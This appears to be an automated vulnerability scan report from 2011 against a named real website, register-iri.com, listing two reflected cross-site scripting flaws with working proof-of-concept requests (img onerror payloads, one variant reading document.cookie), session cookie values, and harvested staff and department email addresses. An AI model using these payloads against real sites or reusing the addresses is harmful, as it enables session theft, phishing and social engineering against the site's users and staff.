XSS, Cross Site Scripting, CWE-79, CAPEC-86, www.register-iri.com

1. Cross-site scripting (reflected)

1.1. http://www.register-iri.com/index.cfm [action parameter]

1.2. http://www.register-iri.com/index.cfm [page parameter]

2. Email addresses disclosed

2.1. http://www.register-iri.com/a

2.2. http://www.register-iri.com/index.cfm

2.3. http://www.register-iri.com/index.cfm

3. Content type incorrectly stated

1. Cross-site scripting (reflected) next
There are 2 instances of this issue:

/index.cfm [action parameter]
/index.cfm [page parameter]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.register-iri.com/index.cfm [action parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.register-iri.com
Path:	/index.cfm

Issue detail

The value of the action request parameter is copied into the HTML document as plain text between tags. The payload 35210<img%20src%3da%20onerror%3dalert(1)>5caea66b59f was submitted in the action parameter. This input was echoed as 35210<img src=a onerror=alert(1)>5caea66b59f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /index.cfm?action=forms35210<img%20src%3da%20onerror%3dalert(1)>5caea66b59f HTTP/1.1
Host: www.register-iri.com
Proxy-Connection: keep-alive
Referer: http://www.register-iri.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=42234; CFTOKEN=f6a20a8718a6bef9-1F592593-D9BA-D340-31E96BAEE69D6ADC

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 13 Apr 2011 17:36:28 GMT
Server: Apache
server-error: true
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 9067

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
   <title>IRI</title>
   <link rel="stylesheet" type="text/css" href="index.css.cfm">
   <link rel="shortcut icon" href=
...[SNIP]...
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
Could not find the included template action.forms35210<img src=a onerror=alert(1)>5caea66b59f.default.cfm.
</h1>
...[SNIP]...

1.2. http://www.register-iri.com/index.cfm [page parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.register-iri.com
Path:	/index.cfm

Issue detail

The value of the page request parameter is copied into the HTML document as plain text between tags. The payload b6439<img%20src%3da%20onerror%3dalert(1)>c5ffd0eafb5 was submitted in the page parameter. This input was echoed as b6439<img src=a onerror=alert(1)>c5ffd0eafb5 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /index.cfm?action=page&page=83b6439<img%20src%3da%20onerror%3dalert(1)>c5ffd0eafb5&fromPage=6 HTTP/1.1
Host: www.register-iri.com
Proxy-Connection: keep-alive
Referer: http://www.register-iri.com/index.cfm?action=yacht
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=42234; CFTOKEN=f6a20a8718a6bef9-1F592593-D9BA-D340-31E96BAEE69D6ADC

Response

HTTP/1.1 500 Internal Server Error
Date: Wed, 13 Apr 2011 17:36:55 GMT
Server: Apache
server-error: true
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8621

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
   <title>IRI</title>
   <link rel="stylesheet" type="text/css" href="index.css.cfm">
   <link rel="shortcut icon" href=
...[SNIP]...
<h1 id="textSection1" style="COLOR: black; FONT: 13pt/15pt verdana">
Invalid data 83b6439<img src=a onerror=alert(1)>c5ffd0eafb5 for CFSQLTYPE CF_SQL_INTEGER.
</h1>
...[SNIP]...

2. Email addresses disclosed previous next
There are 3 instances of this issue:

/a
/index.cfm
/index.cfm

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

2.1. http://www.register-iri.com/a previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.register-iri.com
Path:	/a

Issue detail

The following email address was disclosed in the response:

webmaster@register-iri.com

Request

GET /a HTTP/1.1
Host: www.register-iri.com
Proxy-Connection: keep-alive
Referer: http://www.register-iri.com/index.cfm?action=forms35210%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E5caea66b59f
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=42234; CFTOKEN=f6a20a8718a6bef9-1F592593-D9BA-D340-31E96BAEE69D6ADC

Response

HTTP/1.1 200 OK
Date: Wed, 13 Apr 2011 17:38:06 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 6451

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>

<title>IRI</title>
<link rel="stylesheet" type="text/css" href="http://www.register-iri.com/index.css.cfm">
<lin
...[SNIP]...
<a href="mailto:webmaster@register-iri.com">
...[SNIP]...

2.2. http://www.register-iri.com/index.cfm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.register-iri.com
Path:	/index.cfm

Issue detail

The following email addresses were disclosed in the response:

accounting@register-iri.com
corp@register-iri.com
inspections@register-iri.com
investigations@register-iri.com
regulatoryaffairs@register-iri.com
seafarers@register-iri.com
technical@register-iri.com
webmaster@register-iri.com
yachts@register-iri.com
yachttec@register-iri.com

Request

GET /index.cfm?action=contact HTTP/1.1
Host: www.register-iri.com
Proxy-Connection: keep-alive
Referer: http://www.register-iri.com/index.cfm?action=page&page=119&fromPage=6
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=42234; CFTOKEN=f6a20a8718a6bef9-1F592593-D9BA-D340-31E96BAEE69D6ADC

Response

HTTP/1.1 200 OK
Date: Wed, 13 Apr 2011 17:37:14 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 9068

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
   <title>IRI</title>
   <link rel="stylesheet" type="text/css" href="index.css.cfm">
   <link rel="shortcut icon" href=
...[SNIP]...
<a href="mailto:accounting@register-iri.com">
...[SNIP]...
<a href="mailto:corp@register-iri.com">
...[SNIP]...
<a href="mailto:inspections@register-iri.com">
...[SNIP]...
<a href="mailto:investigations@register-iri.com">
...[SNIP]...
<a href="mailto:regulatoryaffairs@register-iri.com">
...[SNIP]...
<a href="mailto:seafarers@register-iri.com">
...[SNIP]...
<a href="mailto:technical@register-iri.com">
...[SNIP]...
<a href="mailto:yachts@register-iri.com">
...[SNIP]...
<a href="mailto:yachttec@register-iri.com">
...[SNIP]...
<a href="mailto:webmaster@register-iri.com">
...[SNIP]...

2.3. http://www.register-iri.com/index.cfm previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.register-iri.com
Path:	/index.cfm

Issue detail

The following email addresses were disclosed in the response:

lsherman@register-iri.com
webmaster@register-iri.com
wwatson@register-iri.com

Request

GET /index.cfm?action=page&page=106&fromPage=10 HTTP/1.1
Host: www.register-iri.com
Proxy-Connection: keep-alive
Referer: http://www.register-iri.com/index.cfm?action=contact
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=42234; CFTOKEN=f6a20a8718a6bef9-1F592593-D9BA-D340-31E96BAEE69D6ADC

Response

HTTP/1.1 200 OK
Date: Wed, 13 Apr 2011 17:37:16 GMT
Server: Apache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8383

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html>
<head>
   <title>IRI</title>
   <link rel="stylesheet" type="text/css" href="index.css.cfm">
   <link rel="shortcut icon" href=
...[SNIP]...
<span style="font-family: Times New Roman">lsherman@register-iri.com</span>
...[SNIP]...
<a href="mailto:wwatson@register-iri.com"><span style="font-family: Times New Roman">wwatson@register-iri.com</span>
...[SNIP]...
<a href="mailto:webmaster@register-iri.com">
...[SNIP]...

3. Content type incorrectly stated previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.register-iri.com
Path:	/favicon.ico

Issue detail

The response contains the following Content-type statement:

Content-Type: text/plain; charset=UTF-8

The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: www.register-iri.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=42234; CFTOKEN=f6a20a8718a6bef9-1F592593-D9BA-D340-31E96BAEE69D6ADC

Response

HTTP/1.1 200 OK
Date: Wed, 13 Apr 2011 17:36:16 GMT
Server: Apache
Last-Modified: Fri, 04 Dec 2009 16:20:01 GMT
ETag: "8a6122-e36-479e97ac64e40"
Accept-Ranges: bytes
Content-Length: 3638
Connection: close
Content-Type: text/plain; charset=UTF-8

..............h...&... ..............(....... ...........@...............................w....`t.h.......0...........<...:...`............s......Q...P.......D...x.......S...-...t.......*.......-.../.
...[SNIP]...

Report generated by XSS.CX at Wed Apr 13 14:35:31 CDT 2011.